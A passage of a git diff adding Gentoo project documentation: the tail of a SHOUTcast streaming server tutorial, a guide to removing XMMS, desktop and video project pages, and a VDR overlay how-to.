+root@secures /Mp3 # cd /opt/SHOUTcast/content/
+root@secures /opt/SHOUTcast/content # ls
+sample.mp3
+</pre>
+<p>
+Ok, so the file is copied over now. Now we'll need to startup our SHOUTcast Server so the file can be accessed.
+</p>
+<pre caption="Starting up the Shoutcast Server">
+root@secures / # /etc/init.d/shoutcast start
+ * Starting Shoutcast Server...
+*******************************************************************************
+** SHOUTcast Distributed Network Audio Server
+** Copyright (C) 1998-2004 Nullsoft, Inc.  All Rights Reserved.
+** Use "sc_serv filename.ini" to specify an ini file.
+*******************************************************************************                                                [ ok ]
+</pre>
+<p>
+The little banner is there to make sure that nothing dies right away (ie. so you know your server actually started).  Your SHOUTcast Server is now started!  Because of the nature of on demand content, you will ONLY be able to access it from a browser.  MPlayer/XMMS/anything won't be able to stream it as is.  I use kmplayer in order to access the stream directly from my browser.  You can see the result here:
+<br/>
+<br/>
+<img src="images/OnDemandContent.jpg"></img>
+<br/>
+<br/>
+</p>
+<p>
+Some people have XMMS setup to handle their audio mime types, so your browser may spawn XMMS up in order to play the resulting streaming content.  Now that you are able to work with on demand content, we'll now work on using SHOUTcast Trans to create a true streaming radio server.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Setting up SHOUTcast Trans</title>
+<section>
+<title>SHOUTcast Trans introduction</title>
+<body>
+<p>
+SHOUTcast Trans stands for SHOUTcast Trans(coder), as it is able to Transcode mp3's to lower or higher bitrates.  SHOUTcast Trans works by streaming mp3's from a playlist specified in the configuration file.  We'll begin to setup the configuration for SHOUTcast Trans, so that we can have a real to goodness streaming radio station.  We'll begin by opening the configuration file for SHOUTcast Trans, which just so happens to be located in /etc/shoutcast/sc_trans.conf.
+</p>
+<pre caption="Opening the SHOUTcast Trans configuration file">
+root@secures / # vi /etc/shoutcast/sc_trans.conf
+</pre>
+<p>
+Now that we have the SHOUTcast Trans configuration file open, we'll begin to setup the streaming source.
+</p>
+</body>
+</section>
+<section>
+<title>Configuring SHOUTcast Trans</title>
+<body>
+<pre caption="Setting up the playlist">
+; PlaylistFile (required EVEN IF RELAYING) - playlist file (to create, use
+; find /path/to/mp3/directory -type f -name "*.mp3" > playlist_filename.lst
+PlaylistFile=/opt/SHOUTcast/playlists/playlist.lst
+</pre>
+<p>
+This setting tells SHOUTcast where to find its streaming media content from.  This setting requires and existing file, so let's go ahead and create a playlist.  I'll create one real quick from my /Mp3 directory referred to earlier.
+</p>
+<pre caption="Creating the playlist">
+root@secures / # find /Mp3 -type f -name "*.mp3" > /opt/SHOUTcast/playlists/playlist.lst
+root@secures / #
+</pre>
+<p>
+Now that the playlist is setup, we point the configuration file to it, and SHOUTcast Trans will now know what files to stream.
+</p>
+<pre caption="Setting the server IP and port">
+; Serverip/ServerPort are the target server to send to
+Serverip=127.0.0.1
+ServerPort=8000
+</pre>
+<p>
+This setting decides where to send the streaming content to.  In this guide, it will be the SHOUTcast Server's IP and port that you setup previously (DestIP and PortBase).
+</p>
+<pre caption="Setting the SHOUTcast Server password">
+; Password is the password on the sc_serv you're sending to.
+Password=password_you_setup_in_sc_serv.conf
+</pre>
+<p>
+The is the same password that you setup in the SHOUTcast Server configuration.
+</p>
+<pre caption="Setting up your stream information">
+; StreamTitle/URL/Genre define the data that appears on the directory and in the
+; stream info.
+StreamTitle=Chris Gentoo Beats
+StreamURL=http://www.gentoo.org
+Genre=JPOP Electronica And More!
+</pre>
+<p>
+This sets up the title of your stream (ie. Radio One), the url (ie. http://www.radio-one.com), and the Genre (ie. Electronica Trance Tribal).
+</p>
+<pre caption="Setting up your logfile">
+; Logfile optionally denotes a text file to log sc_Trans to.  a kill -HUP
+; will force a close and re-open of this file (but will also cease logging to
+; the console)
+LogFile=/var/log/sc_Trans.log
+</pre>
+<p>
+This will point to the log file for SHOUTcast Trans.  All your logging goes here.
+</p>
+<pre caption="Setting up shuffling">
+; Shuffle the playlist
+Shuffle=1
+</pre>
+<p>
+Decide on whether or not you want your playlist to play random songs from your list each time.  Most will set this to 1.  If you're going to be accepting song requests, set this to 0 and I'll explain how to do that later on.
+</p>
+<pre caption="Setting up the stream">
+; Bitrate/SampleRate/Channels recommended values:
+; 8kbps 8000/11025/1
+; 16kbps 16000/11025/1
+; 24kbps 24000/22050/1
+; 32kbps 32000/22050/1
+; 64kbps mono 64000/44100/1
+; 64kbps stereo 64000/22050/2
+; 96kbps stereo 96000/44100/2
+; 128kbps stere0 128000/44100/2
+Bitrate=128000
+SampleRate=44100
+Channels=2
+; Quality is from 1-10. 1 is best, 10 is fastest.
+Quality=1
+</pre>
+<p>
+Bitrate sets up the bitrate for your stream.  This can be from 8000 (8kbps) to 128000 (128kbps).  SampleRate sets the sampling rate of the stream.  This can be anything from 11025 (11025khz) to 44100 (44100khz).  Channels sets how many channels your stream will brodcast.  This can be anything from 1 (mono) to 2 (stereo).  Quality sets the stream quality.  This is somewhat still controlled by the Bitrate/SampleRate/Channels.  This is where you deal with how compressed the stream is.  1 gives you best quality, 10 gives you the best speed.  Keep your connection in mind when you set these values!  Use the guide given in order to figure out what your mp3's should be streamed at.
+</p>
+<pre caption="Setting up crossfading">
+; Mode=0 for none, 1 for 100/100->100/0, 2 for 0/100->100/0
+CrossfadeMode=1
+; Length is ms.
+CrossfadeLength=8000
+</pre>
+<p>
+This sets up song crossfading.  Setting this to 0 will disable crossfading.  If you set it to 1, Song 1 will fade out and Song 2 will fade in.  If you set it to 2, Song 1 will fade in and Song 2 will fade out.  The length is how long in ms the crossfade occurs.
+</p>
+<pre caption="Enabling ID3 usage">
+UseID3=1
+</pre>
+<p>
+This decides whether or not you wish to use the ID3 tag for information about the mp3.
+</p>
+<pre caption="Setting up public status">
+; Public determines whether or not this station will show up in the directory
+Public=0
+</pre>
+<p>
+This sets up whether or not streams should be publically listed when relaying to a server.  Remember PublicServer in sc_serv.conf can over-ride this!
+</p>
+<pre caption="Setting up user interaction">
+; Put stuff here for user interaction (AOL IM, ICQ, IRC)
+AIM=AIMHandle
+ICQ=
+IRC=SHOUTcast
+</pre>
+<p>
+This sets up the information on how to reach you (the dj).  You can setup AIM or ICQ channels for song requests/anything.  You can setup your own IRC channel as well, so that you can interact with multiple users at once.
+</p>
+</body>
+</section>
+<section>
+<title>SHOUTcast Trans Setup Conclusion</title>
+<body>
+<p>
+Your SHOUTcast Trans is now ready to stream to your SHOUTcast Server!  We'll now get started on streaming your mp3's.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Getting Started With SHOUTcast Trans</title>
+<section>
+<title>Starting up SHOUTcast Trans</title>
+<body>
+<p>
+As I most often use SHOUTcast Trans with SHOUTcast Server, I tend to startup SHOUTcast Trans, which in turns starts up SHOUTcast for you (much easier).  So we'll go ahead and get SHOUTcast Trans started.
+</p>
+<pre caption="Starting up Shoutcast Trans and Shoutcast Server">
+root@secures /etc/init.d # /etc/init.d/shoutcast_trans start
+ * Starting Shoutcast Server...
+*******************************************************************************
+** SHOUTcast Distributed Network Audio Server
+** Copyright (C) 1998-2004 Nullsoft, Inc.  All Rights Reserved.
+** Use "sc_serv filename.ini" to specify an ini file.
+*******************************************************************************                                                [ ok ]
+* Starting Shoutcast Trans...                     [ ok ]
+root@secures /etc/init.d #
+</pre>
+</body>
+</section>
+<section>
+<title>Listening to the SHOUTcast Trans stream</title>
+<body>
+<p>
+Now that SHOUTcast Trans is started, we'll start listening to the stream.  I use MPlayer in this example to play the stream.
+</p>
+<pre caption="Listening to your stream">
+root@secures / # mplayer -cache 1024 http://127.0.0.1:8000/
+...
+Playing http://127.0.0.1:8000/.
+Connecting to server 127.0.0.1[127.0.0.1]:8000 ...
+Name   : Chris Gentoo Beats
+Genre  : JPOP Electronica And More!
+Website: http://www.gentoo.org
+Public : no
+Bitrate: 128kbit/s
+Cache size set to 1024 KBytes
+Connected to server: 127.0.0.1
+Cache fill:  9.38% (98304 bytes)    Audio file detected.
+==========================================================================
+Opening audio decoder: [mp3lib] MPEG layer-2, layer-3
+MP3lib: init layer2 and 3 finished, tables done
+mpg123: Can't rewind stream by 156 bits!
+AUDIO: 44100 Hz, 2 ch, 16 bit (0x10), ratio: 16000->176400 (128.0 kbit)
+Selected audio codec: [mp3] afm:mp3lib (mp3lib MPEG layer-2, layer-3)
+==========================================================================
+Checking audio filter chain for 44100Hz/2ch/16bit -> 44100Hz/2ch/16bit...
+AF_pre: af format: 2 bps, 2 ch, 44100 hz, little endian signed int
+AF_pre: 44100Hz 2ch Signed 16-bit (Little-Endian)
+AO: [oss] 44100Hz 2ch Signed 16-bit (Little-Endian) (2 bps)
+Building audio filter chain for 44100Hz/2ch/16bit -> 44100Hz/2ch/16bit...
+Video: no video
+Starting playback...
+</pre>
+<p>
+This was somewhat clipped.  The -cache variable was put in to over-ride my somewhat larger buffering settings.  And viola!  You're now listening to streaming media!  In the next chapter, we'll show you how to do a little bit more with your SHOUTcast Server.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Advanced SHOUTcast Usage</title>
+<section>
+<title>Business Usage</title>
+<body>
+<p>
+Businesses can use SHOUTcast in a number of ways:
+</p>
+<ol>
+	<li>Use on demand content streaming to make more interesting daily announcements</li>
+	<li>Have streaming public announcements avaliable as they happen, let your clients know what's going on, on the spot!  Then archive them as on demand content streaming for future reference.</li>
+	<li>Do interviews as streaming media and archive them as on demand content streaming.</li>
+</ol>
+<p>
+There are more possibilities on how to utilize SHOUTcast Server for businesses.  Use live streaming media instead of boring old text!
+</p>
+</body>
+</section>
+<section>
+<title>DJ-ing with SHOUTcast</title>
+<body>
+<p>
+SHOUTcast Server is one of the most popular servers for both new and vetran DJ's alike.  For those just starting, there are a few ways to increase the user experience of your SHOUTcast Server.  Having an intro song is very key.  It gives the users an idea of what your station is all about.  Be sure to include this!  Post your server on yp.SHOUTcast.com (described in the SHOUTcast Server configuration section) so that everyone knows where you are.  One of the most unique things is to be able to take requests.  To set up requesting, first turn Shuffle off in sc_Trans.conf.  Have about, I'd say, 10 or so songs ready to get you started.  Then start requesting song requests in the middle.  When someone requests a song, simple add it to the end of your playlist, and then you can use this script here to control what SHOUTcast Trans does with your playlist:
+</p>
+<pre caption="djcontrol">
+#!/bin/bash
+
+case "$1" in 
+	"reload")
+		kill -s USR1 `cat /var/run/SHOUTcast_Trans.pid`
+		;;
+	"next")
+		kill -s WINCH `cat /var/run/SHOUTcast_Trans.pid`
+		;;
+	*)
+		echo "Invalid command"
+		;;
+esac
+</pre>
+<p>
+When you've addded the song to the playlist, you need to tell SHOUTcast Trans that your playlist has changed with the new request entry.
+</p>
+<pre caption="Reloading the playlist">
+root@secures / # djcontrol reload
+</pre>
+<p>
+You should now let the users know after what song the requests will start.  Or if you want, you can keep skipping with:
+</p>
+<pre caption="Skipping through the playlist">
+root@secures / # djcontrol reload
+</pre>
+<p>
+Be careful not to skip too much, as there is no previous control.  Once you hit their song, the requesting begins.  I'd get about 5 or so requests before you start requesting.  This way you don't run all the way back to the beginning.  If you start to lack in requests and expect that your request hour is over with, then simply copy your next session's playlist over the requests playlist and reload the playlist.  Once the current song is over, it will go back to the new playlist.
+</p>
+</body>
+</section>
+<section>
+<title>Conclusion</title>
+<body>
+<p>
+That ends it for the SHOUTcast Server and SHOUTcast Trans tutorial.  I hope you benifited from the information here and please email me any comments or suggestions for this page!  Enjoy your new streaming SHOUTcast Server!
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/sound/xmms.xml b/xml/htdocs/proj/en/desktop/sound/xmms.xml
new file mode 100644
index 00000000..4a289192
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/sound/xmms.xml
@@ -0,0 +1,157 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/sound/xmms.xml,v 1.3 2006/11/04 22:56:14 kloeri Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/en/xmms.xml" lang="en">
+
+<title>The How and Why of XMMS removal</title>
+
+<author title="Author">
+    <mail link="kopp@gentoo-userreps.org">Bertrand Coppa</mail>
+</author>
+<author title="Author">
+    <mail link="amne@gentoo.org">Wernfried Haas</mail>
+</author>
+<author title="Editor">
+    <mail link="nattfodd@gentoo.org">Alexandre Buisse</mail>
+</author>
+
+<abstract>
+    This webpage explains the removal of XMMS from the Portage tree and gives
+    some hints on how to deal with it.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-10-29</date>
+
+<chapter>
+  <title>Why remove XMMS?</title>
+  <section>
+    <body>
+      <p> There has been a lot of fuss last week following the hardmasking of
+          XMMS and the packages depending on it for a future removal from the tree. A lot
+          of flames went on Gentoo's bugzilla and forums, with conspiracy theories,
+          shameful insults etc. The truth is the decision of removing it from the tree
+          was taken after a lot of debate between Gentoo developers and users and it is
+          for the better, despite the fact that a lot of us liked XMMS.</p> 
+
+      <p>XMMS has been around for a very long time and was used by a lot of people.
+          Unfortunately, upstream developement stopped a long time ago and it became
+          broken over time. Gentoo developers had to maintain it and deal with the bad
+          design. As of late, nobody took care of it and bugs began to accumulate,
+          topping over 30 unresolved bugs. Furthermore, it depended on GTK+ version 1
+          which is old, broken with no support of UTF-8 and isn't supported anymore by
+          upstream either.</p>
+
+      <p>Metalgod, the current maintainer, decided to step down as XMMS was beyond
+          repair down and since nobody wanted to undertake the massive work, it was
+          decided that support will be dropped in the main Portage tree since Gentoo
+          obviously can't afford to offer unmaintained packages.</p>
+  </body>
+  </section>
+</chapter>
+<chapter>
+<title>Alternatives</title>
+  <section>
+      <body>
+<ul>
+<li><b>Audacious</b> is a XMMS look-alike written in GTK 2. It supports XMMS
+skins but does not behave exactly like XMMS. Several plugins are available like
+audacious-docklet that displays an icon in the systemtray, audtty that allows
+you to control audacious in the command line, audacious-crossfade that allows
+continuous output and crossfading and a lot more to come or already available.
+There is a <uri
+link="https://forums.gentoo.org/viewtopic-t-510532.html">thread</uri> on the
+forums where you can request plugin ports.</li>
+
+<li><b>MPD</b>: Music Player Deamon is another good player which uses a
+client/server architecture. You can even launch it at start-up and have music
+playing before you get on your desktop. It has a lot of clients and obviously,
+there are some that don't require X, like ncmpc which is ncurses-based.</li>
+
+<li><b>Amarok</b>: the well-known full-featured player, considered by many as
+the best player available. Amarok was initially designed for KDE and does
+almost everything, except dishes.</li>
+
+<li><b>Rhythmbox</b>: Rhythmbox plays in the same category as Amarok but is
+designed for Gnome. Both are comparable to iTunes.</li>
+
+<li><b>Banshee</b>: Banshee is also in the category of heavyweight audio
+players. There are lots of plugins available and under development. It uses
+Mono.</li>
+
+<li><b>Muine</b>: A simple music player for Gnome that runs upon mono
+framework. It has a simple interface and supports plugins.</li>
+
+<li><b>Listen</b>: Listen is promising audio player, also heavyweight. It is
+also designed for Gnome. It doesn't do dishes either.</li>
+
+<li><b>mpg123</b>: Another category here. mpg123 is a CLI player for those of
+you that do not like graphical interfaces or do not have access to it at the
+moment.</li>
+
+<li><b>Quod Libet</b>: A GTK+2 based music player written in python. It is full
+featured and even has built-in tag editing. There are a number of plugins
+available to add additional functionality.</li>
+
+</ul> 
+
+<p>If you really can't part from XMMS, you can still keep the ebuilds in an
+<uri link="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=3&amp;chap=5">overlay</uri>.</p>
+
+</body> 
+</section> 
+</chapter>
+
+<chapter>
+    <title>Removing XMMS</title>
+    <section>
+        <body>
+            <p>
+                To cleanly remove XMMS from your system, follow this procedure:
+            </p>
+
+<ul><li>Check in <c>/etc/make.conf</c> and <c>/etc/portage/package.use</c> that
+the xmms USE isn't enabled. If it is, remove it. The command <c>grep xmms
+/etc/make.conf /etc/portage/package.use</c> shouldn't return anything.</li>
+
+<li>Sync your portage tree with <c>emerge --sync</c></li>
+
+<li>Unmerge xmms and all plugins. To get a list, you can for instance use <c>equery -qc list xmms -i</c>. You can then check this list against what <c>grep xmms /usr/portage/profiles/package.mask</c> says.</li>
+
+<li>Rebuild your tree without the xmms USE flag : <c>emerge -auvDN world</c></li></ul>
+
+        </body>
+    </section>
+</chapter>
+
+<chapter>
+<title>Developers views</title>
+<section>
+<body>
+<p>Here are links to some developers' blogs which are relevant:
+</p>
+<ul><li><uri link="http://farragut.flameeyes.is-a-geek.org/articles/2006/10/23/my-personal-birthday-present">Flameeyes</uri></li>
+<li><uri link="http://planet.gentoo.org/developers/seemant/2006/10/27/on_masking_popular_packages_xmms">Seemant</uri></li>
+<li><uri link="http://planet.gentoo.org/developers/metalgod/2006/10/29/xmms_final_thoughts">Metalgod</uri></li></ul>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Farewell</title>
+<section>
+<body>
+<p>After years of using xmms, now it is time to return the goodbye issued on
+the <uri link="http://xmms.org">xmms homepage</uri> - thanks to the xmms team
+for bringing a nice piece of software, and goodbye old sailor. :-)</p>
+</body>
+</section>
+</chapter>
+
+</guide>
+
diff --git a/xml/htdocs/proj/en/desktop/util/index.xml b/xml/htdocs/proj/en/desktop/util/index.xml
new file mode 100644
index 00000000..265e07f7
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/util/index.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>desktop-util</name>
+<longname>Gentoo Desktop Utilities Project</longname>
+<date>2010-06-17</date>
+
+<description>
+  The Desktop Utilities project manages a wide variety of small utilities and
+  dockapps for the Gentoo Desktop.
+</description>
+
+<longdescription><p>
+  The Desktop Utilities project manages a wide variety of small utilities and
+  dockapps for the Gentoo Desktop. Utilities include any small programs that
+  make the desktop easier or more fun to use. Dockapps include similar programs
+  that fit into the dock/slit/wharf of your desktop's wm.
+</p></longdescription>
+
+<goals><p>
+  The goal of the Desktop Utilities project is to support all desktop utilities
+  in Portage.
+</p></goals>
+
+<!-- please keep the list sorted -->
+<dev role="lead" description="lead">nelchael</dev>
+<dev role="member">hwoarang</dev>
+<dev role="member">lack</dev>
+<dev role="member">s4t4n</dev>
+<dev role="member">xarthisius</dev>
+
+<herd name="desktop-misc"/>
+<herd name="desktop-dock"/>
+
+<extrachapter position="bottom">
+<title>Got Bugs?</title>
+<section>
+<body>
+
+<p>
+If you are experiencing a bug with a utility, we'd like to hear from you!
+Include all relevant information in your report to  <uri
+link="http://bugs.gentoo.org">Gentoo's Bugzilla</uri>. Please assign your bug
+to desktop-misc@gentoo.org, and include the output of <c>emerge --info</c>,
+your version of X11, and the utility experiencing the problem.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/video/index.xml b/xml/htdocs/proj/en/desktop/video/index.xml
new file mode 100644
index 00000000..af97b7c0
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/video/index.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>video</name>
+  <longname>Gentoo Video project</longname>
+  <date>2007-05-03</date>
+  <author title="Author">
+    <mail link="chriswhite@gentoo.org">Chris White</mail>
+  </author>
+  <author title="Author">
+    <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+  </author>
+
+  <description>
+    The Video team strives to provide users with the best multimedia experience
+    through providing encoding tools and media players.
+  </description>
+
+  <longdescription><p>
+    The Video team strives to provide users with the best multimedia experience
+    through providing encoding tools and media players.  We do so by maintaining
+    various video based applications including MPlayer, Xine, and Transcode.
+  </p></longdescription>
+
+  <subproject ref="/proj/en/desktop/video/vdr/index.xml" inheritmembers="yes"/>
+
+  <dev role="lead" description="Gentoo/PPC work, mplayer, ffmpeg">lu_zero</dev>
+  <dev role="member" description="Webcam">phosphan</dev>
+  <dev role="member" description="DVB">lordvan</dev>
+  <dev role="member" description="MythTV and misc TV apps">cardoe</dev>
+  <dev role="member" description="DVB, VDR">zzam</dev>
+  <dev role="member" description="VDR">hd_brummy</dev>
+  <dev role="member" description="DVD-related software">beandog</dev>
+  <dev role="member" description="XdTV, gpac, other">aballier</dev>
+  <dev role="member" description="misc">spatz</dev>
+
+  <herd name="video" />
+  <herd name="media-tv" />
+
+  <resource link="/proj/en/desktop/video/xine.xml">
+    Notes about media-libs/xine-lib package and relative frontends
+  </resource>
+  <resource link="/proj/en/desktop/video/vlc.xml">
+    Notes about media-video/vlc package
+  </resource>
+
+  <extrachapter>
+  <title>Notes about removed packages</title>
+
+  <section>
+  <body>
+
+  <p>
+  In autumn 2005 many packages which were present on portage for a long time
+  were removed, for a series of different causes. Most of them are not going to
+  re-enter portage until upstream decides to clean up their own dirt, as they
+  were a high weight to maintain.
+  </p>
+
+  <p>
+  Packages that were depending on <c>divx4linux</c> should all be able to read
+  and write DivX files using <c>ffmpeg</c>'s MPEG4 codec, and that package was
+  so bugged that it was segfaulting on newer Pentium4 processors. It was also
+  closed source and it was then impossible to maintain.
+  </p>
+
+  <p>
+  <c>helixplayer</c> was removed because it had a bad history of serious
+  security-related problems, and it was difficult to maintain because of its
+  complex build system. Looking forward for the new 2.0 version, the old 1.x ebuilds
+  got removed from the tree, people using it can consider using
+  <c>realplayer</c> instead, or a more complete video player such as <c>xine</c>
+  or <c>mplayer</c>.
+  </p>
+
+  <p>
+  <c>quicktime4linux</c> was another hard-maintenance package because of its
+  custom build scripts that were not working well for Gentoo's standards. It
+  also used <c>nasm</c> heavily, making it impossible to use it on non-x86 based
+  systems (amd64 systems seemed to work, too). Instead of this, it's possible
+  to use <c>libquicktime</c> that forked from the old 1.x series of the package
+  and still works fine on non-x86 arches and non-Linux systems.
+  </p>
+
+  <p>
+  <c>avifile</c> is mostly a dead project, needing CVS snapshots to be updated,
+  its maintainership was made harder by being incompatible with newer versions
+  of <c>ffmpeg</c>. Packages depending on it are being modified not to use it
+  or pending removal with <c>avifile</c> itself.
+  </p>
+
+  </body>
+  </section>
+
+  </extrachapter>
+</project>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/desktop/video/vdr/doc/overlay-guide.xml b/xml/htdocs/proj/en/desktop/video/vdr/doc/overlay-guide.xml
new file mode 100644
index 00000000..30f71fae
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/video/vdr/doc/overlay-guide.xml
@@ -0,0 +1,133 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/video/vdr/doc/overlay-guide.xml,v 1.6 2007/11/11 22:10:16 zzam Exp $ -->
+
+<guide link="/proj/en/desktop/video/vdr/doc/overlay-guide.xml">
+<title>Working with the VDR Overlays</title>
+
+<author title="Author">
+  <mail link="diox@gentoo.org">Dimitry Bradt</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+
+<abstract>
+This document explains how to install software straight from our overlays.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.2</version>
+<date>2007-10-15</date>
+
+<chapter>
+<title>Configuration and usage of the overlays</title>
+<section>
+<title>What is an overlay?</title>
+<body>
+
+<p>
+An overlay is simply the place where people put third party ebuilds. These
+ebuilds undergo extensive testing before they can be put into the Portage tree.
+Currently there are two overlays available: vdr-testing and vdr-1.5.
+If you want software around the VDR which is tested to become finally part of
+the main tree you can use the vdr-testing overlay. If you want the most recent
+development versions of the VDR you have to use the vdr-1.5 overlay. In the
+following we use the vdr-testing overlay as example.
+</p>
+
+</body>
+</section>
+<section id="install">
+<title>Installing and configuring layman</title>
+<body>
+
+<p>
+Before we can install packages from an overlay, we need to install
+<c>layman</c>, an overlay manager. For more information, see the <c>layman</c>
+<uri link="http://projects.gunnarwrobel.de/scripts/wiki/layman">project
+page</uri>.
+</p>
+
+<pre caption="Emerging layman">
+# <i>emerge -av layman</i>
+</pre>
+
+<p>
+Even though we've installed <c>layman</c>, we can't install packages just yet.
+First you will need to tell Portage you want to use a local repository. This can
+be done with these simple commands:
+</p>
+
+<pre caption="Configuring Portage for layman">
+<comment>(First we create a needed file. It's alright if it already exists.)</comment>
+# <i>touch /usr/portage/local/layman/make.conf</i>
+# <i>echo "source /usr/portage/local/layman/make.conf" >> /etc/make.conf</i>
+</pre>
+
+<p>
+Next, we'll have <c>layman</c> <e>check out</e> (<c>svn co</c>) the repository
+for <path>/usr/portage/local/layman/vdr-testing/</path>:
+</p>
+
+
+<pre caption="using the vdr-overlays">
+# <i>layman -a vdr-testing</i>
+...
+* Successfully added overlay "vdr-testing".
+</pre>
+
+</body>
+</section>
+<section id="overlay-sources">
+<title>Installing sources from our overlays</title>
+<body>
+
+<p>
+Now you can start using the ebuilds from the VDR overlay. Point your browser to
+<uri>http://overlays.gentoo.org/proj/vdr/browser/testing</uri> and choose a few
+packages.
+</p>
+
+<p>
+These packages will be masked by an ~arch keyword. Before you can <c>emerge</c>
+them, you will need to add them to your
+<path>/etc/portage/package.keywords</path>. Here are a couple of examples:
+</p>
+
+<pre caption="Unmasking packages">
+# <i>echo "media-tv/vdrseriestimer" >> /etc/portage/package.keywords</i>
+# <i>echo "media-plugins/vdr-burn" >> /etc/portage/package.keywords</i>
+</pre>
+
+<p>
+Now you can install them with a simple <c>emerge</c>:
+</p>
+
+<pre caption="Installing VDR packages">
+# <i>emerge -av vdrseriestimer vdr-burn</i>
+</pre>
+
+<note>
+Packages in the VDR overlays are under rapid development. Packages listed in this
+guide may not always be available: they may have been moved to the official
+Portage tree, or they may have been removed from the overlays for technical
+reasons.
+</note>
+
+<p>
+Don't forget to keep your VDR overlays up to date:
+</p>
+
+<pre caption="Syncing the overlays">
+# <i>layman -S</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/video/vdr/index.xml b/xml/htdocs/proj/en/desktop/video/vdr/index.xml
new file mode 100644
index 00000000..86e51e92
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/video/vdr/index.xml
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>VDR</name>
+<longname>Gentoo VDR project</longname>
+<date>2006-07-11</date>
+<author title="Author">
+  <mail link="zzam@gentoo.org">Matthias Schwarzott</mail>
+</author>
+<author title="Editor">
+  <mail link="diox@gentoo.org">Dimitry Bradt</mail>
+</author>
+
+<description>
+The Gentoo VDR Project maintains and updates the VDR packages in the portage
+tree?
+</description>
+
+<longdescription>
+<p>
+<b>What we do</b>
+</p>
+
+<p>
+The Gentoo VDR Project maintains and updates the <uri
+link="http://www.cadsoft.de/vdr">VDR</uri>  packages in the portage tree. It
+integrates them with Gentoo as tight as possible. VDR is the abbreviation for
+Video Disk Recorder.
+</p>
+
+</longdescription>
+
+<dev role="lead">zzam</dev>
+<dev role="member">hd_brummy</dev>
+
+<resource link="/doc/en/vdr-guide.xml">Gentoo VDR Guide</resource>
+<resource link="irc://irc.freenode.net/gentoo-vdr">#gentoo-vdr IRC
+channel</resource>
+<resource link="http://www.gentoo.org/main/en/lists.xml">gentoo-vdr
+Mailing list</resource>
+<resource link="http://sources.gentoo.org/viewcvs.py/gentoo-vdr/">Gentoo-VDR
+SVN repository (through viewcvs)</resource>
+<resource link="http://overlays.gentoo.org/proj/vdr/timeline">Gentoo VDR
+Project Overlay - Trac</resource>
+<resource link="doc/overlay-guide.xml">Howto use the VDR overlays</resource>
+
+<extrachapter>
+<title>Things provided by the Gentoo VDR Project</title>
+<section>
+<body>
+
+<p>
+The VDR-Project provides you with these things inside the portage tree:
+</p>
+
+<ul>
+  <li>
+    <uri
+    link='http://packages.gentoo.org/package/media-video/vdr'>
+    media-video/vdr</uri> provides the basic VDR-binary
+  </li>
+  <li>
+    Complete patchsets contained in media-video/vdr to allow every combination
+    of the possible use-flags.
+  </li>
+  <li>
+    <uri
+    link='http://packages.gentoo.org/package/media-tv/gentoo-vdr-scripts'>
+    media-tv/gentoo-vdr-scripts</uri> provides the complete init-script logic.
+  </li>
+  <li>
+    <uri
+    link='http://sources.gentoo.org/viewcvs.py/gentoo-x86/eclass/vdr-plugin.eclass?view=markup'>
+    vdr-plugin.eclass</uri> to support the plugin-ebuilds with common tasks
+  </li>
+  <li>
+    A large number of plugins under media-plugins/vdr-* (around 90 at the
+    moment)
+  </li>
+</ul>
+</body>
+</section>
+</extrachapter>
+
+
+<extrachapter>
+<title>Want to help?</title>
+
+<section>
+<body>
+<p>
+If you want to help us with improving Gentoo's VDR experience, we would like to
+hear from you. You can contact us at <uri
+link="mailto:vdr@gentoo.org">vdr@gentoo.org</uri>. Please also join us in
+#gentoo-vdr on irc.freenode.org. You need not be a developer to be able to help
+us.
+</p>
+
+<p>
+<b>We need help in these ranges:</b>
+</p>
+
+<ul>
+  <li>Documentation</li>
+  <li>Ebuild maintainance</li>
+  <li>Creating new concepts/visions, which make VDR on Gentoo more round.</li>
+  <li>Adding new Ebuilds.</li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
